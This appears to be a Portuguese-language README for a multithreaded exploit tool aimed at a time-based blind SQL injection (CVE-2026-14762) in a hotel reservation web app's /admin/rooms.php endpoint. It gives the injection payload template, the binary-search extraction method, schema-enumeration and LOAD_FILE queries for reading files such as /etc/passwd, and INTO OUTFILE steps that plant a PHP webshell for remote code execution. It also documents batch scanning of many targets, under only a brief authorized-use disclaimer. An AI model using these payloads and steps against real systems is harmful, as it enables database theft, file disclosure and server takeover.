
Exploit multithread de injeção SQL cega baseada em tempo para CVE-2026-14762, direcionado ao Hotel & Tourism Reservation 1.0. Enumera bancos de dados, tabelas e colunas; lê arquivos via LOAD_FILE; grava webshells PHP para RCE. Suporta proxy, varredura em lote e shell SQL interativo.
Exploit totalmente funcional, multithread, de injeção SQL cega baseada em tempo para CVE‑2026‑14762.
Tem como alvo o endpoint /admin/rooms.php do aplicativo Code‑Projects Hotel & Tourism Reservation (versão 1.0).
Realiza enumeração completa do banco de dados, leitura do sistema de arquivos (LOAD_FILE) e escrita arbitrária de arquivos (INTO OUTFILE / DUMPFILE) – levando à execução remota de código via implantação de webshell.

| Categoria | Capacidade |
|---|---|
| Vulnerabilidade | Injeção SQL cega baseada em tempo (CWE‑89) |
| Vetor de Ataque | GET /admin/rooms.php?delete=<payload> |
| Exploração | Injeção condicional de SLEEP() com extração de caracteres por busca binária |
| Banco de Dados | Extração do nome do banco de dados atual |
| Esquema | Enumeração de tabelas e colunas via information_schema |
| Extração de Dados | Exportação completa de tabela (JSON) – linhas ilimitadas, limite configurável |
| Leitura de Arquivo | LOAD_FILE() – lê qualquer arquivo legível pelo MySQL (ex.: /etc/passwd, arquivos de configuração) |
| Escrita de Arquivo | INTO OUTFILE / DUMPFILE – escreve webshell PHP, backdoor ou conteúdo arbitrário |
| Shell Interativo | Shell SQL interativo (extração baseada em tempo) para consultas manuais |
| Consulta Única | Executa SQL ad‑hoc e recupera resultados (limite de 512 caracteres) |
| Modo Lote | Varredura de múltiplos alvos com pool de threads configurável (ThreadPoolExecutor) |
| Suporte a Proxy | Proxy HTTP/HTTPS (Burp Suite, mitmproxy, etc.) |
| Log Detalhado | Saída colorida com informações de depuração com registro de data e hora |
| Zero Dependências | Apenas requests, urllib3 e colorama (opcional) |
requestsurllib3colorama (opcional – para saída colorida no terminal)Instale todas as dependências com:
pip install requests urllib3 colorama
git clone https://github.com/tc4dy/CVE-2026-14762-PoC-Exploit.git
cd CVE-2026-14762-PoC-Exploit
chmod +x exploit.py or basic_exploit.py
| Argumento | Curto | Tipo | Padrão | Descrição |
|---|---|---|---|---|
--target | -t | URL | — | URL de destino única (ex.: http://192.168.1.100) |
--target-file | -l | Arquivo | — | Arquivo contendo a lista de alvos (um por linha) |
--threads | — | Int | 5 | Número de threads para varredura de múltiplos alvos |
--output | -o | Caminho | — | Arquivo de saída (JSON para dumps, texto bruto para arquivos) |
--verbose | -v | Flag | False | Habilita log de depuração detalhado |
--proxy | — | URL | — | Proxy HTTP/HTTPS (ex.: http://127.0.0.1:8080) |
--user-agent | -ua | String | Mozilla/5.0... | Cabeçalho User-Agent personalizado |
--delay | — | Float | 5.0 | Tempo de espera em segundos para injeção cega |
--max-retries | — | Int | 3 | Número máximo de tentativas de requisição |
--ssl-verify | — | Flag | False | Habilita verificação de certificado SSL |
--webroot | — | Caminho | /var/www/html | Webroot para escrita de webshell via INTO OUTFILE |
--dump-db | — | Flag | False | Extrai todas as tabelas do banco de dados atual |
--tables | — | Flag | False | Lista apenas os nomes de todas as tabelas |
--dump-table | — | Tabela | — | Extrai uma tabela específica (ex.: --dump-table users) |
--read | — | Caminho | — | Lê um arquivo via LOAD_FILE() |
--write-shell | — | Flag | False | Escreve webshell PHP (shell.php) no webroot |
--sql | — | Consulta | — | Executa uma única consulta SQL (retorna no máximo 512 caracteres) |
--interactive | -i | Flag | False | Inicia shell SQL interativo após a exploração |
O parâmetro delete é injetado com:
150' AND IF(<condition>, SLEEP(<delay>), 0) AND '1'='1
O IF() avalia a condição; se verdadeira, o banco de dados aguarda por segundos.
Para cada posição de caractere, uma busca binária sobre o intervalo ASCII (32–126) determina o caractere correto usando comparações de > e =. Isso reduz as requisições de 95 por caractere para ~7–8, tornando a extração altamente eficiente.
SELECT DATABASE()SELECT table_name FROM information_schema.tables WHERE table_schema='<db>' LIMIT n,1SELECT column_name FROM information_schema.columns WHERE table_schema='<db>' AND table_name='<table>' LIMIT n,1SELECT <col> FROM <table> LIMIT row,1 – extrai linha por linhaLOAD_FILE('/path/to/file') – requer que secure_file_priv esteja vazio ou aponte para o diretório de destinoSELECT '<content>' INTO OUTFILE '/path/to/shell.php' – requer privilégio FILE e que secure_file_priv não seja restritivoEsta ferramenta é fornecida exclusivamente para testes de segurança autorizados, pesquisa educacional e avaliação de vulnerabilidades.
O autor não é responsável por qualquer uso indevido, atividades ilegais ou danos causados por este software.
Sempre obtenha permissão explícita por escrito do proprietário do sistema antes de testar.